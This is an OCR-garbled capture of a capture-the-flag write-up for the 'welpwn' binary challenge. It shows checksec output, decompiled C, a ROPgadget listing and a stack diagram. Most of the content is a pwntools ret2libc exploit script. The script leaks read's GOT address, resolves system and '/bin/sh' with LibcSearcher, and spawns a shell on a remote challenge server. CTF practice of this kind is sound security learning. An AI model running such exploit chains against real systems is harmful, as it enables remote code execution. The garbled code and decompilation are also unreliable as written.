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lwj@ubuntu: ~/Desktop/pwn/welp
File Edit View Search Terminal Help
wj@ubuntu: chmod 777 welpwn
wj@ubuntu:~/ checksec welpwn
[*] '[fhome/lw]j/Desktop/pwn/welpwn/welpwn'
Arch: amd64-64-1ittle
RELRO: Partial RELRO
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lwj@ubuntu:~/Desktop/pwn/welpwn$ ./welpwn
Welcome to RCTF

4 . —_— - -

1{dnt _ cdecl main(int argc, const char **argv, const char **envp)
2t

char buf[1824]; //

5| write{1l, "Welcome to RCTF\n", @x1@ulL};
6| fflush{_bss_start);

7| read(e, , Bxdlaull);

8| echo((__int&4) )i

return 8;

P - e m - -

Ljint _ fastcall echo(_ int64 al)
1

char s2[16]; //

for (1 =@; *(_BYTE *}(i + )i o+ )
[i] = *(_BYTE *)(i + al);
[i] = &
if ( !strcmp("ROIS", ) )
1

printf({"RCTF{Welcome}");
puts(" is not flag");
h

return printf("%s", H

wj@ubuntu:~/Desktop/pwn/welpwnS ROPgadget --binary welpwn --only "pop|ret”
adgets information

Ox000000000040089¢C

Dx000000000040089¢e

Ox00000000004008a0

Dx00000000004008a2 ;

Px000000000040089b ; H H 14 ; pop ri15 ; ret

Px000000000040089T
0x000000000040067 5
Px00000000004008a3
Px00000000004008a1
Ox000000000040089d
Px0000000000400589
Px00000000004006a5
Px000000000040081a

echo_buf



echo_buf
saved rbp
return_addr
buf
buf
buf
buf
buf
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pop_4
ROPchain
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ROPchain rsp
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pop rdi
read_got
puts_plt
main_addr
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pop rdi
/bin/sh addr
system
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from pwn import *
from LibcSearcher import *

r = remote("111.198.29.45", 53488

pop_rdi = 0x4008a3
pop_rsi = 0x4008al

pop_4 = 0x40089c
main_addr = 0x4007CD

elf = ELF("./welpwn"
puts_plt = elf.plt['puts’
read_got
print r.recvuntil("Welcome to RCTF\n"

payload = "a" * 0x18 + p64(pop_4) + p64(pop_rdi) + p64(read_got) + p64(puts_plt) + p64(main_addr
r.sendline(payload

elf.got[ 'read’

print r.recvuntil('a' * 0x18

print r.recv(3

read_addr = u64(r.recv(6).ljust(8, "\x00"
print "read:",hex(read_addr

libc = LibcSearcher("read", read_addr
libc_base = read_addr - libc.dump("read"
system = libc_base + libc.dump("system"
print "system:",hex(system

bin_sh = libc_base + libc.dump("str_bin sh"
print "bin_sh:",hex(bin_sh

payload = "a" * 0x18 +p64(pop_4) + p64(pop_rdi) + p64(bin_sh) + p64(system
r.sendline(payload

r.interactive

Ilwj@ubuntu: ~/Desktop/pwn/welpwn

File Edit View Search Terminal Help
@: archive-old-glibc (id 1ibc6-1i386_2.19-16ubuntu2.3_amd64)
1: ubuntu-xenial-amd64-1libcé (id libcé6_2.23-8ubuntul®_amd64)
Please supply more info using
add_condition(leaked func, leaked address).
You can choose it by hand
Or type 'exit' to quit:1
[+] ubuntu-xenial-amd64-1ibc6 (id 1libc6_2.23-0ubuntul@_amdé4) be choosed.
system: 0x7f02db8d6396
bin_sh: @x7fe2dbaldd57
[*] Switching to interactive mode

libc32-2.19.50
libc64-2.19.s0
welpwn

cat flag
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